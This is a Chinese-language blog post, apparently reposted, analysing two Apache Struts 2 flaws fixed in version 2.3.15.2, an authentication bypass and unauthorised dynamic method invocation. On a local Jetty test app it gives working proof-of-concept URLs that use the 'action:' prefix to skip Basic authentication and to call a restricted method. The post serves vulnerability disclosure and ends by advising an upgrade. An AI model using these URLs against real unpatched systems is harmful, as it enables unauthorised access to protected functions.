struts2最新更新的2.3.15.2版本的修复的两处漏洞

漏洞概述:
        身份认证绕过漏洞和任意方法调用漏洞。
漏洞影响:
        配置了struts2身份认证的应用都有可能受到影响
漏洞详情:

可以先参考今天轻瑶发布的struts2更新日志。
http://struts.apache.org/release/2.3.x/docs/version-notes-23152.html

主要更新了如下两点:
Broken Access Control Issue     fixed
Dynamic Method Invocation set     to false by default
看描述:第一点是权限控制的漏洞,第二点是动态方法调用默认关闭。官方同时还给出了两个cve,但是都没有给出漏洞详情。吸取了上次的教训,:)

先说第一点:
下载struts2的源码作对比,主要还是更新了DefaultActionMapper这个类,详情如图

通过这个diff,可以猜出漏洞的利用方式。
如下例子,通过jetty和struts配置的一个权限控制绕过的例子。
首先在web.xml中配置HelloWorld.action的访问,只有dingo身份的用户才可以访问。
<security-constraint>
      <web-resource-collection>
          <web-resource-name>dingo</web-resource-name>
          <url-pattern>/example/HelloWorld.action</url-pattern>
      </web-resource-collection>
      <auth-constraint>
          <role-name>dingo</role-name>
      </auth-constraint>
   </security-constraint>

同时认证采用了jetty的Basic认证。
<login-config>
       <auth-method>BASIC</auth-method>
       <realm-name>UserBasic Authentication</realm-name>
</login-config>

jetty中配置了用户名和密码。

fuck=fuckme,dingo


正常情况下,当我们启动应用访问HelloWorld.action的时候,会弹出身份验证框:


输入用户名密码:fuck  fuckme,即可显示内容。

但是当我们直接采用如下的url访问时,身份验证直接被绕过了。

http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld




接着是第二点:
直接通过远程方法调用,也可以执行没有经过授权的action中的受限方法,比如HelloWorld.action中的:
public void fuck(){
   System.out.println("fuckyou");
}


通过下列url,也可以执行:
http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld!fuck




漏洞修复:
        升级struts到最新版本

猜你喜欢

转载自dingody.iteye.com/blog/1970825